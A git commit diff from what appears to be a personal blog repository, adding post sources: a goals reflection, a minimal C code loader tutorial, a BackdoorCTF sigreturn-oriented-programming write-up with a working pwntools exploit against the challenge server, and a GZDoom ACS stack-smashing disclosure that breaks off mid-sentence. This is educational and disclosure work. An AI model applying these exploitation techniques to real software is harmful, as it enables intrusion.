diff options
| author | Jakob L. Kreuze <zerodaysfordays@sdf.lonestar.org> | 2019-05-02 19:35:44 -0400 |
|---|---|---|
| committer | Jakob L. Kreuze <zerodaysfordays@sdf.lonestar.org> | 2019-05-02 19:35:44 -0400 |
| commit | 5ad0ee4b3005056561b4f473f7592987ec548e61 (patch) | |
| tree | cd14e81945855c36279bd43e9f4693056a1185f2 | |
| parent | dc960bc887821816ef4bb19ca7e28fff5b9187a4 (diff) | |
Include Org sources
45 files changed, 5041 insertions, 4 deletions
@@ -1,5 +1,5 @@ -/images/* -!/images/favicon.png +/haunt/images/* +!/haunt/images/favicon.png -/posts/ -/site/ +/haunt/posts/ +/haunt/site/ diff --git a/about.scm b/haunt/about.scm index c54f0bb..c54f0bb 100644 --- a/about.scm +++ b/haunt/about.scm diff --git a/css/fonts.css b/haunt/css/fonts.css index b17b8fd..b17b8fd 100644 --- a/css/fonts.css +++ b/haunt/css/fonts.css diff --git a/css/highlight.css b/haunt/css/highlight.css index c69bbb7..c69bbb7 100644 --- a/css/highlight.css +++ b/haunt/css/highlight.css diff --git a/css/jakob.css b/haunt/css/jakob.css index d2e7cc2..d2e7cc2 100644 --- a/css/jakob.css +++ b/haunt/css/jakob.css diff --git a/custom/alias.scm b/haunt/custom/alias.scm index 6bc5062..6bc5062 100644 --- a/custom/alias.scm +++ b/haunt/custom/alias.scm diff --git a/custom/tag.scm b/haunt/custom/tag.scm index a36197a..a36197a 100644 --- a/custom/tag.scm +++ b/haunt/custom/tag.scm diff --git a/custom/theme.scm b/haunt/custom/theme.scm index ac6f2ac..ac6f2ac 100644 --- a/custom/theme.scm +++ b/haunt/custom/theme.scm diff --git a/fonts/Cantarell-Bold.otf b/haunt/fonts/Cantarell-Bold.otf Binary files differindex a5b620b..a5b620b 100644 --- a/fonts/Cantarell-Bold.otf +++ b/haunt/fonts/Cantarell-Bold.otf diff --git a/fonts/Cantarell-BoldOblique.otf b/haunt/fonts/Cantarell-BoldOblique.otf Binary files differindex 5f49d64..5f49d64 100644 --- a/fonts/Cantarell-BoldOblique.otf +++ b/haunt/fonts/Cantarell-BoldOblique.otf diff --git a/fonts/Cantarell-Oblique.otf b/haunt/fonts/Cantarell-Oblique.otf Binary files differindex 70539ed..70539ed 100644 --- a/fonts/Cantarell-Oblique.otf +++ b/haunt/fonts/Cantarell-Oblique.otf diff --git a/fonts/Cantarell-Regular.otf b/haunt/fonts/Cantarell-Regular.otf Binary files differindex fca6759..fca6759 100644 --- a/fonts/Cantarell-Regular.otf +++ b/haunt/fonts/Cantarell-Regular.otf diff --git a/fonts/Hack-Bold.ttf b/haunt/fonts/Hack-Bold.ttf Binary files differindex 7ff4975..7ff4975 100644 --- a/fonts/Hack-Bold.ttf +++ b/haunt/fonts/Hack-Bold.ttf diff --git a/fonts/Hack-BoldItalic.ttf b/haunt/fonts/Hack-BoldItalic.ttf Binary files differindex 3b137d9..3b137d9 100644 --- a/fonts/Hack-BoldItalic.ttf +++ b/haunt/fonts/Hack-BoldItalic.ttf diff --git a/fonts/Hack-Italic.ttf b/haunt/fonts/Hack-Italic.ttf Binary files differindex d26198a..d26198a 100644 --- a/fonts/Hack-Italic.ttf +++ b/haunt/fonts/Hack-Italic.ttf diff --git a/fonts/Hack-Regular.ttf b/haunt/fonts/Hack-Regular.ttf Binary files differindex 92a90cb..92a90cb 100644 --- a/fonts/Hack-Regular.ttf +++ b/haunt/fonts/Hack-Regular.ttf diff --git a/haunt.scm b/haunt/haunt.scm index 7fd9355..7fd9355 100644 --- a/haunt.scm +++ b/haunt/haunt.scm diff --git a/images/favicon.png b/haunt/images/favicon.png Binary files differindex d5b97ed..d5b97ed 100644 --- a/images/favicon.png +++ b/haunt/images/favicon.png diff --git a/projects.scm b/haunt/projects.scm index c45a135..c45a135 100644 --- a/projects.scm +++ b/haunt/projects.scm diff --git a/posts/.dir-locals.el b/posts/.dir-locals.el new file mode 100644 index 0000000..5cc37b2 --- /dev/null +++ b/posts/.dir-locals.el @@ -0,0 +1,4 @@ +((org-mode . ((org-html-doctype . "xhtml5") + (org-html-html5-fancy . t) + (org-export-with-toc . nil) + (ox-haunt-base-dir . "/home/jakob/Blog-New/haunt/")))) diff --git a/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org b/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org new file mode 100644 index 0000000..efa5015 --- /dev/null +++ b/posts/A Reflection on New Ambitions for a New Year/new-ambitions-for-a-new-year.org @@ -0,0 +1,279 @@ +#+TITLE: A Reflection on "New Ambitions for a New Year" +#+DATE: <2019-03-03 Sun> +#+TAGS: writeup, practices + +On the night of December 31st of last year, I wrote "New Ambitions for a New +Year," a blog post outlining a number of self-imposed goals for 2019. The words +I ended on were: "[t]oo ambitious? Well, I guess we'll find out in 365 days when +I write another post like this." Indeed, what you're reading right now is +something I expected to author much later, but enough has changed in the past +three months that I feel it's appropriate to put out an addendum now. The post's +original text follows. + +--- + +As we draw on the final hours of 2018, the only words I feel appropriate are: +"wait, it's really January tomorrow?" The past twelve months have felt +deceivingly short despite everything that's happened in that span of time. I had +a number of rough job interviews, met Richard Stallman in person, installed +Gentoo, became a legal adult, graduated high school, and finished my first +semester of university, all in what seemed to me like just a few weeks. + +"Productive" is how I'd characterize the year, but I'm having a hard time +rationalizing why it is that I feel that way. Yes, I reached two major +milestones in my education, but I still don't know what to make of everything +else I did. I'd probably feel better about my accomplishments if I had a goal +and a means of assessing whether or not I achieved it, but alas, I didn't set +any out of the same cynicism that drives me to point out resolutioners +contributing to the January gympocalypse. I'd like to mend that cynicism for +2019, though. One year really isn't a bad span of time for setting goals -- it's +long enough that you can be ambitious in your planning, but short enough that +there's pressure to continue making progress throughout the year. + +So, I've come up with some goals for myself, and I've decided to write about +them to impose some level of accountability. + +* Doing + +** Writing + +This year, I managed to put out seven articles. Last year saw four, and the year +before saw one. A linear regression suggests that I'll be putting out ten this +year. + +I kid. As tempting as it is to make "write more frequently" one of my goals, my +focus will be on quality over quantity. In 2019, I plan to: + +- Read through /all/ of my past posts, drafts, and [[http://jakob.space/links/][favorite articles]], taking + notes on how they're written, and synthesizing a writing style that can be + thoroughly described on paper. If you've read my earlier writing, I anticipate + that you've noticed significant variance in the presentation of each piece. + It's time for me to identify the aspects of style that work, and find a way to + consistently incorporate those aspects into my future writing. +- In a similar fashion, develop a consistent method for doing research and + managing sources throughout the writing process. I believe my technical + writing will benefit if I make a habit of perusing the existing corpus of + research prior to putting words down on paper. +- Expand my writing endeavors to Wikipedia. I've collected a number of sources + for expanding Wikipedia stubs, and my goal is to turn every entry on that list + into a series of edits. Ideally, I'll go beyond that, but given the preceding + goals, I think that it makes sense to start small. Writing for Wikipedia will + expose me to critique from more experienced writers, and give me experience + writing in an encyclopedic style. + +No hard article count goals this year, because again, quality over quantity. If +I'm forcing myself to write to fill a quota, my heart won't be in it. + +** Contributing to Free Software + +I'd like to migrate all of the projects I maintain to [[https://git.sr.ht/~jakob/][sr.ht]], but I'll be keeping +my GitHub account for sending pull requests to projects that live on there. + +Originally, I had a list of projects that I wanted to contribute to in the new +year, but I haven't read a single line of code from any of the entries on that +list and there's a good chance that I'll have second thoughts about contributing +following the first perusals, so I've decided that a more reasonable goal is to +become a regular contributor to at least one project. By "regular contributor," +I mean gaining enough of a presence that people are coming to me to ask +questions about the code. + +* Learning + +** Computer Science + +I have tried, and failed, numerous times to get through Hal Abelson and Gerald +Sussman's /Structure and Interpretation of Computer Programs/. Now that I'm more +mature in terms of rigor, I've decided to finally buckle down to make my way +through the text and all of its exercises. It's a fat 657 page book, but I'm +more than capable, and I have an entire year to do it. + +My more lighthearted goal is to put out at least one demo on either the Super +Nintendo or the Nintendo DS. I've always wanted to program for a platform where +I'm constrained by the limitations of the hardware. + +** Computer Security + +Capture-the-flag used to be a more significant hobby of mine; I mostly dropped +off the scene when I graduated high school, but I'd like to get back into it. In +a similar vein to my SICP goal, I'm aiming to finally get through a book that +I've failed to finish in the past, [[https://beginners.re/][Reverse Engineering for Beginners]], and +complete _at least_ 50 of its exercises. 50 is a about one per week, which I +think is reasonable. + +** Electronics + +I've tried several times in the past to learn "electronics", and never +progressed beyond the laws of Ohm and Joule. I think the issue was that I didn't +know what I wanted to learn; I set out to study "electronics," which wasn't +specific enough. This time, I'll be more diligent in finding curriculum that's +relevant to me. I want to learn to read boards and gain the knowledge necessary +to repair my Commodore 64, so my focus will be on the design of electronic +circuits. I'll achieve this is by going through the coursework for MIT's 6.002: +"Circuits and Electronics". It's a course I wanted to go through when I was a +sophomore in high school, but at the time, I was discouraged by the list of +prerequisites in the syllabus. + +Another goal of mine is to join an amateur radio club. I've already got two in +mind: [[http://sdfarc.org/][SDFARC]] and the one that runs the local 2-meter repeater I frequent. My +thought is that joining one will give me an opportunity to find an Elmer whose +brain I can pick about RF electronics. + +** Mandarin Chinese + +One of my favorite courses in high school was Mandarin Chinese. I took it for +four years, and while I wanted to continue studying it at university, I sadly +couldn't fit any classes into my schedule. The four years of study left me with +a grasp of the language's fundamentals, however, and I think that I could +reasonably continue to learn the language on my own accords. Throughout the +year, I plan to: + +- Learn the vocabulary on [[https://en.wiktionary.org/wiki/Appendix:Mandarin_Frequency_lists/1-1000][Wiktionary's list]] of the 1000 most frequently used + words in Mandarin. I already know a number of words on the list from my four + years of study, and learning the rest should give me a good base for reading + from newspaper articles and books. I plan to learn the words' definitions and + pronunciations through spaced repetition, and I'll handwrite the character + every time I review the card for it. Although the ability to handwrite + characters isn't a specific goal of mine, I've found that it helps me in + learning to recognize the characters. +- Read /C程序设计语言/. I have a translated copy of Kernighan and Ritchie from + when I went to 王府井, so that should be reading that's both engaging and full + of the kind of vocabulary that I'm interested in learning. +- Make friends with at least one of the international student in my dorm. I'd + feel bad conscripting someone solely for the purpose of helping me learn + Mandarin, but I figure that if I befriend someone whose native tongue is + Mandarin and spit a bunch of broken Chinese at them, they'll be inclined to + correct me (through laughter, perhaps). + +To recap, my goals this year are: + +- Move my software projects to [[https://sr.ht/][sr.ht]]. +- Join an amateur radio club. +- Make friends with at least one of the international students in my dorm. +- Synthesize a consistent writing style and document it. +- Synthesize a method for performing research and document it. +- Turn my list of articles into a series of edits to Wikipedia stubs. +- Learn the 1000 most frequently used words in Mandarin Chinese. +- Read /C程序设计语言/. +- Read /SICP/ and complete all of its exercises. +- Read /RE4B/ and compete at least 50 of its exercises. +- Complete the coursework for 6.002. +- Put out at least one demo on either the Super Nintendo or the Nintendo DS. +- Become a regular contributor to at least one free software project. + +Too ambitious? Well, I guess we'll find out in 365 days when I write another +post like this. + +--- + +As alluded to in the introduction, I've come to understand that achieving every +goal on that list within the span of a year is impossible. Well, at least for a +full-time university student. Balancing a course load of 19 credits with +undergraduate research and a social life leaves me with little more than a few +hours on the weekends to dedicate to those tasks. As such, I'm reevaluating and +redefining my goals for 2019. + +What's more, some of the things on that list no longer even interest me. Why +invest significant time into something I know I won't find fulfilling? Take the +plan for continuing my study of Mandarin Chinese as an example: bilingualism +seems like it might be useful, but I have no realistic use for the skill, and I +was really dreading the daily practice I was putting in for the first few weeks +of the year. + +The other issue that's come up is a loss of motivation for some of the tasks +that, unlike continuing my study of Mandarin, I /would/ find fulfilling. To remedy +this, I've decided to associate small integrative projects with each of the +goals I intend on keeping. This move is inspired by the points made in Norvig's +[[http://norvig.com/21-days.html][Teach Yourself Programming in Ten Years]], which I had read several years ago but +was reminded of after a recent perusal of the introduction to [[http://www.cs.cornell.edu/courses/cs3110/2019sp/textbook/][Functional +Programming in OCaml]]. I'd specifically like to quote a few things he lists in +his "recipe for programming success": + +- Get *interested* in programming, and do some because it is fun. Make sure that + it keeps being enough fun so that you will be willing to put in your ten + years/10,000 hours. +- *Program*. The best kind of learning is learning by doing. To put it more + technically, "the maximal level of performance for individuals in a given + domain is not attained automatically as a function of extended experience, but + the level of performance can be increased even by highly experienced + individuals as a result of deliberate efforts to improve." (p. 366) and "the + most effective learning requires a well-defined task with an appropriate + difficulty level for the particular individual, informative feedback, and + opportunities for repetition and corrections of errors." (p. 20-21) The book + Cognition in Practice: Mind, Mathematics, and Culture in Everyday Life is an + interesting reference for this viewpoint. +- *Talk with* other programmers; read other programs. This is more important than + any book or training course. +- Work on *projects with* other programmers. Be the best programmer on some + projects; be the worst on some others. When you're the best, you get to test + your abilities to lead a project, and to inspire others with your vision. When + you're the worst, you learn what the masters do, and you learn what they don't + like to do (because they make you do it for them). +- Work on *projects after* other programmers. Understand a program written by + someone else. See what it takes to understand and fix it when the original + programmers are not around. Think about how to design your programs to make it + easier for those who will maintain them after you. + +Working towards a project is largely conducive of these. It will ensure that I'm +having fun, that I'm learning by doing, and that I'm speaking with those who +have expertise. So, here's my updated list of goals for 2019, paired with the +projects I've come up with: + +- Complete the coursework for MIT's 6.002. + - Troubleshoot my Commodore 64 and restore it to a working state. +- Read chapters 1-4 of Structure and Interpretation of Computer Programs and + complete all of their exercises. + - Implement a ray-tracer in Scheme. +- Compete 50 of the exercises in Reverse Engineering for Beginners. + - Write another game hacking post. +- Synthesize a consistent writing style and document it. + - Write another game hacking post. +- Synthesize a method for performing research and document it. + - Adopt the "Heap feng shui" and "JIT spraying" pages on Wikipedia. + +Although this is still an ambitious list, I think I can reasonably achieve all +of these by 2020. I think the more important point, however, is that I've +effectively reduced my original ragtag list of last-minute New Year's Eve +thoughts into a clear plan for personal growth. Completing the coursework for +6.002 will enable me to design and reverse engineer circuits. Completing +Structure and Interpretation of Computer Programs will teach me to approach +problems with a functional programming mindset. Working through the exercises +from Reverse Engineering for Beginners will give me a repertoire of patterns for +going forward in capture-the-flag and any projects I take on in the future that +may involve reverse engineering. Developing a consistent writing style will +strengthen my ability to communicate knowledge, and developing a consistent +method for performing research will encourage me to exercise that skill of +communicating knowledge. + +During my initial reflection, I thought that troubleshooting the C64 would make +for a poor choice of project, as there's the possibility that I'd start +troubleshooting and soon realize that it's borked beyond repair. One thought was +to instead follow the instructions outlined in Steve Ciarcia's Build Your Own +Z80 Computer, but after looking through the book, I realized that it would be +both expensive and probably very difficult to complete due to the age of the +components used.[fn:1] I also thought to follow Ben Eater's instructions for +[[https://eater.net/8bit/kits][building an 8-bit computer from scratch]], but that also has the issue of price. +Ultimately, I decided to go with my original plan to fix the C64. Even if I +can't repair the C64, I have a broken VIC-20 I can fall back on, and I think I'd +learn more in the domain of reverse engineering circuits than I would following +the instructions that come with some homebrew computer kit. + +My definition of success for the goal of reading Structure and Interpretation of +Computer Programs changed slightly to omit the fifth chapter. I still plan to +read it, just not this year. My reasoning comes mainly from skimming ahead to +get an idea for an integrative project and seeing exercise 5.51. It'd just be... +well, a lot. Why a ray-tracer? It's short, sweet, utilitarian, and would +probably be both pleasant and eye-opening to implement in a functional style. + +I'll still be working through the exercises in Reverse Engineering for +Beginners, but I will not be reading the book in it's entirety. After going +through the first few chapters, I've developed the opinion that the book makes +for incredible reference material, but that a page-by-page reading wouldn't be +valuable for someone with prior experience in reverse engineering. I'll still be +skimming a subset of the book[fn:2], but I don't want promise to myself that +I'll finish those chapters by the end of this year. + +One last thing to note -- I've omitted the goal about moving all my software +projects to sr.ht, as I've succeeded in doing that. + +[fn:1] How the hell am I going to get my hands on a CRT terminal in 2019? +[fn:2] Chapters 30-63, 68, 76, and 88. diff --git a/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org b/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org new file mode 100644 index 0000000..cf4acda --- /dev/null +++ b/posts/Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader/analyzing-executable-size-part-0.org @@ -0,0 +1,155 @@ +#+TITLE: Analyzing Executable Size, part 0 - A Small Proof-of-Concept Loader +#+DATE: <2017-07-31 Mon> +#+TAGS: writeup, programming, operating-systems, c, linux + +It seems that static linking is back in style, or at least popular among all the +hip new programming languages of today. I don't have anything against statically +linked binaries, nor do I have a problem with larger executables, but I've +noticed that the acceptable size for an executable is a lot larger now than it +was a few years ago; that is, the new kids on the block have significantly more +leeway than their predecessors. For example - a C program that spits out "hello +world" is 7 KB when statically linked to musl. It's 12 KB when dynamically +linked to glibc. The same program in D, where the reference compiler doesn't +allow dynamic linking to the standard library, is 896 KB. A blog post I read +recently about certificate chain verification in Go made a point of praising the +toolchain for being able to spit out a binary that was "less than 6 MB!" I'm +being more facetious than with my D example, as this was statically linked to an +SSL-capable web server, but 6 MB is a little over half the size of a +[[https://en.wikipedia.org/wiki/Tiny_Core_Linux][fully-functioning operating system]]. I'm not so interested in why we settle +binaries the size of a few videos, but instead I'd like to look at why they're +that large to begin with. To peer in and see what wealth of information is +stored inside, and how certain programming languages make use of that +information. + +Perhaps we should first take a step back. What is a binary, anyway? It's a +structured format, not much different than your typical PNG or Ogg file, +containing some machine code instructions and directives for how the program +should be loaded into memory. The task of parsing the binary and actually +loading it is done by a *loader*, though that's a pretty broad term. My favorite +book on this subject, /Linkers and Loaders/ by John R. Levine, defines a loader +as a program to "copy a program from secondary storage (which since about 1968 +invariably means a disk) into main memory so it's ready to be run. In some cases +loading just involves copying the data from disk to memory, in others it +involves allocating storage, setting protection bits, or arranging for virtual +memory to map virtual addresses to disk pages." + +Loaders are everywhere, as you can probably imagine. Maybe you've heard of a +boot loader; those are for getting a kernel into memory from the strange and +unfamiliar land of x86 real mode. Whenever you run a program on Linux, it's +loaded by the kernel's ELF loader, of which you can find the source code for at +[[https://github.com/torvalds/linux/blob/master/fs/binfmt_elf.c][=fs/binfmt_elf.c=]] of the kernel source tree. On a higher level, something like +Java has a class loader for getting bytecode into memory so that the JVM can run +it. + +As our first step into the world of loaders, we'll write our own. A very basic +one, at that. I think that because we're taking a look at how much information +can be stored inside of a binary, we should begin with the absolute minimum. It +won't use a structured format, and won't set up memory beyond the stack and a +page for executable code, but not at a specified address of any sort. Where that +code exists in memory isn't known to the program, and it only really knows where +the stack is from the =%rsp= register. We'll simply load some machine code from +a file, and execute it. I'll spare you the per-line explanation I usually give, +since it's reasonably simple and the only part you might not understand already +is explained through comments. + +#+BEGIN_SRC c +#include <sys/mman.h> +#include <sys/stat.h> + +#include <stdio.h> + + +size_t binary_size(FILE *); + + +int main(int argc, char **argv) { + FILE *fp; + void *exe; + size_t exe_size; + void (*jump)(void); + + if (argc != 2 || (fp = fopen(argv[1], "rb")) == NULL) { + fprintf(stderr, "USAGE: %s [FILE]\n", argv[0]); + return 1; + } + + if ((exe_size = binary_size(fp)) == 0) { + return 1; + } + + /* Because writable memory pages are marked as non-executable by + default, we need to map a new page of memory for our executable + code. We do this by invoking the "mmap" syscall, and getting a + new page from the kernel. */ + exe = mmap(NULL, exe_size, PROT_WRITE | PROT_EXEC, + MAP_SHARED | MAP_ANONYMOUS, -1, 0); + + if (exe == MAP_FAILED) { + fprintf(stderr, "mmap failure.\n"); + return 1; + } + + fread(exe, exe_size, 1, fp); + jump = exe; + jump(); + + munmap(exe, exe_size); + fclose(fp); + return 0; +} + + +/* We'll use some POSIX standard functions because we can and they're + generally safer than fseek and ftell. */ +size_t binary_size(FILE *fp) { + struct stat buf; + + if ((fstat(fileno(fp), &buf) != 0) || (!S_ISREG(buf.st_mode))) { + return 0; + } + + return buf.st_size; +} +#+END_SRC + +Looks good! We can't use any of the binaries on our system to test it out, +though. They're in some structured format like ELF and the header would be +interpreted as code -- probably causing a segmentation fault. Even if it got +past the header without a core dump, the binary probably relies on some absolute +addressing that we didn't set up properly. So instead of running =/bin/ls= +through our program, we'll assemble "hello world." + +#+BEGIN_SRC asm + leaq (%rip), %rax + addq $_msg_end - ., %rax + jmpq *%rax +_msg: + .ascii "Hello, world!\n" +_msg_end: + movq $0x01, %rax + movq $0x01, %rdi + leaq (%rip), %rsi + subq $. - _msg, %rsi + movq $0x0e, %rdx + syscall + ret +#+END_SRC + +What you'll probably notice immediately is that we're forced to write a +position-independent executable. As I mentioned earlier, our loader can't handle +absolute addresses. It can't really handle anything, aside from the most simple +of x86 instructions. We do a =ret= at the very end to return control to the +loader. Nothing left to do now but test it out: + +#+BEGIN_SRC +[jakob@Epsilon ~]$ ./a.out test.bin +Hello, world! +#+END_SRC + +=test.bin= is 64 bytes and takes 0.001s to load and run. I probably could have +made the program smaller, but I think it's a perfectly fine benchmark as we +continue through this series. Keep in mind that 64 bytes is only achievable +because we forget the conveniences of modern loaders. We can only run +position-independent code, there's no separation between data and code segments, +no room for debugging symbols, no write protection on the code segment, nothing. +This is perhaps the most stripped down loader you can get. diff --git a/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org new file mode 100644 index 0000000..2111955 --- /dev/null +++ b/posts/BackdoorCTF 2017: FUNSIGNALS/backdoorctf-2017-funsignals.org @@ -0,0 +1,107 @@ +#+TITLE: BackdoorCTF 2017: FUNSIGNALS +#+DATE: <2017-09-24 Thu> +#+TAGS: writeup, security, capture-the-flag, binary-exploitation, x86, linux + +"funsignals" was a 250 point binary exploitation challenge with 58 solves. The +challenge itself was a very trivial example of sigreturn-oriented programming. + +Sigreturn-oriented programming is a means of getting values into certain +registers without having to use ROP gadgets that pop values from the stack. It's +a technique that relies on how UNIX-like operating systems implement signals - +to quote an [[https://lwn.net/Articles/676803/][article from LWN on the subject]], "when a signal is delivered to a +process, execution jumps to the designated signal handler; when the handler is +done, control returns to the location where execution was interrupted. Signals +are a form of software interrupt, and all of the usual interrupt-like accounting +must be dealt with. In particular, before the kernel can deliver a signal, it +must make a note of the current execution context, including the values stored +in all of the processor registers." + +That "execution context" is quite simply a structure stored on the stack, which +is colloquially known as the "sigcontext" structure and is defined in the +architecture-specific headers of the Linux kernel. x86, for example is found at +[[http://elixir.free-electrons.com/linux/latest/source/arch/x86/include/uapi/asm/sigcontext.h][=arch/x86/include/uapi/asm/sigcontext.h=]]. + +We're given a small amd64 Linux binary for the challenge. Its code is only a few +bytes long: + +#+BEGIN_SRC asm :hl_lines 0 +;-- _start: +0x10000000 31c0 xorl %eax, %eax +0x10000002 31ff xorl %edi, %edi +0x10000004 31d2 xorl %edx, %edx +0x10000006 b604 movb $4, %dh +0x10000008 4889e6 movq %rsp, %rsi +0x1000000b 0f05 syscall +0x1000000d 31ff xorl %edi, %edi +0x1000000f 6a0f pushq $0xf +0x10000011 58 popq %rax +0x10000012 0f05 syscall +0x10000014 cc int3 +;-- syscall: +0x10000015 0f05 syscall +0x10000017 4831ff xorq %rdi, %rdi +0x1000001a 48c7c03c0000. movq $0x3c, %rax +0x10000021 0f05 syscall +#+END_SRC + +Don't be intimidated by the use of the seemingly uncommon =syscall= instruction, +the portion before the 'syscall' symbol is equivalent to the following C code. + +#+BEGIN_SRC c :hl_lines 0 +char buf[0x400]; +read(0, buf, 0x400); +sigreturn(); +#+END_SRC + +=sigreturn(2)= is a system call you never use in practice, but as we mentioned +earlier, the process needs to restore the context when it returns from a signal +handler. This is how it's done. =sigreturn(2)= essentially pops the =sigcontext= +structure from the stack and fills the proper registers. Also, that =int3= +instruction should be a hint to us that we'll have to manipulate the instruction +pointer, too, since the program would abort if we hit that. + +A few bytes following the binary's code is a string that sticks out like a sore +thumb: ~fake_flag_here_as_original_is_at_server~. To get the flag, we're going to +want to print out whatever's at that address, which we can do with the =sys_write= +system call. We're going to want to load =0x01=, the syscall number for =sys_write=, +into =%rax=, =0x01= into =%rdi= for =stdout=, =0x10000023= into =%rsi= for the address of +the flag we want to print, and =0x29= into =%rdx= for the approximate length of the +flag. Once the registers are all set up, we're going to want to invoke the +kernel, so we'll set =%rip= to =0x10000015= - where there's a =syscall= instruction +followed by a clean exit. To load all of those registers, we will fill out a +sigcontext frame containing the values. + +Now, I would highly advise against manually packing the =sigcontext= structure, +as there are a few undocumented fields that can and will cause segmentation +faults coming from seemingly nowhere. [[https://docs.pwntools.com/en/stable/][pwntools]] provides the =pwnlib.rop.srop= +package for creating sigcontext frames, and the API is simple enough to +understand just from the exploit code. + +#+BEGIN_SRC python :hl_lines 0 +#!/usr/bin/env python + +from pwn import * + + +SIGCONTEXT = SigreturnFrame(arch="amd64") +SIGCONTEXT.rax = 0x01 +SIGCONTEXT.rdi = 0x01 +SIGCONTEXT.rsi = 0x10000023 +SIGCONTEXT.rdx = 0x29 +SIGCONTEXT.rip = 0x10000015 + +proc = remote("163.172.176.29", 9034) +proc.sendline(bytes(SIGCONTEXT)) +print(proc.recv()) +#+END_SRC + +#+BEGIN_SRC +[jakob@Epsilon funsignals]$ ./exploit.py +[+] Opening connection to 163.172.176.29 on port 9034: Done +b'flag{W3lc0m3_T0_th3_n3w_w0rld_OF_S1gn4l5}' +[*] Closed connection to 163.172.176.29 port 9034 +#+END_SRC + +As an aside, you typically won't have an explicit call to =sigreturn(2)= in the +binary. Sigreturn-oriented programming is most commonly combined with ROP, where +a gadget to load =0xf= into =%rax= and a gadget to perform a syscall are used. diff --git a/posts/Bad BEHAVIOR/bad-behavior.org b/posts/Bad BEHAVIOR/bad-behavior.org new file mode 100644 index 0000000..e559692 --- /dev/null +++ b/posts/Bad BEHAVIOR/bad-behavior.org @@ -0,0 +1,188 @@ +#+TITLE: Bad BEHAVIOR +#+DATE: <2018-01-04 Thu> +#+TAGS: writeup, security, binary-exploitation, video-games, x86, doom + +TL;DR, I discovered a stack-smashing vulnerability in GZDoom's interpreter for +ACS. As a preface, there's a tendency for whitepapers like this in the security +community to be written with a somewhat condescending tone towards the product's +vendor. I do not mean for any portion of this writeup to come off as degrading +to the developers involved. Yes, the bug was obvious to /me/, but it was still +subtle enough that it went under the radar for nearly 23 years. Most developers +aren't actively thinking about this kind of attack while writing a bytecode +interpreter. I have an enormous amount of respect for the development teams of +both GZDoom and Zandronum, who were quick to issue a patch addressing the issue +and were respectful of my wishes to release this whitepaper to the public. I'd +also like to thank everyone I had the pleasure of working with during this +process; it warms my heart to know that the communities behind these open-source +software projects are this friendly. + +Documentation and exploit code are available [[https://git.sr.ht/~jakob/bad-behavior][here]], which is where I would like +to direct any source port maintainers. There is a good chance that your port is +vulnerable, and the patch to fix it is not overly-complicated. + +--- + +It's been a little over a year and a half since my first capture-the-flag +competition. In that time, I've exploited countless binaries, all simulated. +Popping a shell had no impact, no consequences within the real world. Recently, +though, I've experienced somewhat of a wake up call. The day has finally come +that I've discovered a security-critical bug in the wild to call my own. + +The research was impromptu, motivated by a few things I noticed while working +away on a map for Doom. If you want to script events in Doom, such as a boss +spawning and text appearing on the screen when the player flips a switch, you +use a somewhat obscure DSL called [[https://zdoom.org/wiki/ACS][ACS]]. The language was designed in the 90's for +Hexen, a game intended to run on MS-DOS, so the implementation is full of design +decisions that seem archaic nowadays. For one, scripts are compiled ahead of +time into a bytecode object, which is then stored in a map's BEHAVIOR [[https://zdoom.org/wiki/Lumps][lump]], and +finally run on a stack machine that has access to the game's state. + +ACS bytecode isn't completely unfamiliar to me; I wrote a disassembler for it a +while ago in an attempt to learn more about radare2's internals. Despite this, +the idea that the interpreter for it might allow some foul play to go by didn't +cross my mind until I was actually working with ACS on the source code level. +The language is, to say the least, hacked together. The type system is extremely +weak, and on a low level, the only type it understands is int. There's support +for strings, but they're an index into a table in the bytecode object, which can +lead to some interesting behavior. Take this valid ACS code, for example: + +#+BEGIN_SRC +script 1 ENTER { + print(s:"You picked the wrong house, foo'!"); + + // Also displays "You picked the wrong house, foo'!" + print(s:0); +} +#+END_SRC + +String constants are casted to the index at which they are located in the string +table, which means you can do math with strings - albeit a little less intuitive +than string math in Javascript. + +#+BEGIN_SRC +script 1 ENTER { + // Displays "1" (Since that's 0 + 1) + print(d:"First String" + "Second String"); +} +#+END_SRC + +There are a handful of other quirks, such as the fact that arguments can be +omitted when you invoke a function. The fragile nature of ACS made me want to +look at GZDoom's implementation to see if it would reject any code that does +things it shouldn't. What I initially had in mind was pulling something out of +the string table that doesn't exist, but when I cracked open the source code to +look at =PCD_PRINTSTRING=, I noticed something a little more sinister. + +#+BEGIN_SRC cpp :hl_lines 0 +case PCD_PRINTNUMBER: + work.AppendFormat ("%d", STACK(1)); + --sp; + break; +#+END_SRC + +Hm? It looks like the stack pointer is decremented without any bounds checking. +This is C++, though, and it's entirely possible that this is operator +overloading, so I looked at how the interpreter's stack was implemented. + +#+BEGIN_SRC cpp :hl_lines 0 +FACSStack stackobj; +int32_t *Stack = stackobj.buffer; +int &sp = stackobj.sp; +#+END_SRC + +No, it isn't operator overloading. This is bad. As an adversary who can +manipulate the bytecode in a BEHAVIOR lump, we have complete control over an +index into a buffer. Let's take a peek at =FACSStack=. + +#+BEGIN_SRC cpp :hl_lines 0 +struct FACSStack +{ + int32_t buffer[STACK_SIZE]; // STACK_SIZE is 0x1000 + int sp; + FACSStack *next; + FACSStack *prev; + static FACSStack *head; + + FACSStack(); + ~FACSStack(); +}; +#+END_SRC + +Take note that the stack pointer is adjacent to the buffer. That will be +important in the exploit. + +Let's start with a few experiments. The first thing I did was add some debug +prints to certain points in the ACS interpreter so that I could see where the +stack pointer is within the program's memory map. Now we can get our hands dirty +with ACS bytecode. At the time I was performing this research, I didn't know how +everything in the BEHAVIOR lump contributed to the final image, so I spent about +a half hour figuring out how to create a valid bytecode object by looking at +different BEHAVIOR lumps in a hex editor. What I /should/ have done was slowed +down and looked at =FBehavior::Init= in =p_acs.cpp=, but whatever, my way worked +with some trial and error. If you want to play with hand-writing ACS bytecode on +your own, you can use my exploit code as a base. Just alter the "payload" array +to contain the bytes you want to have run. + +Now, this is where the post is going to get a little confusing, since I have to +talk about two entirely different stacks. For the remainder of this whitepaper, I'll +refer to the ACS interpreter's stack as "VStack," and the GZDoom process's stack +as "SStack." + +Initially, I showed off the implementation of 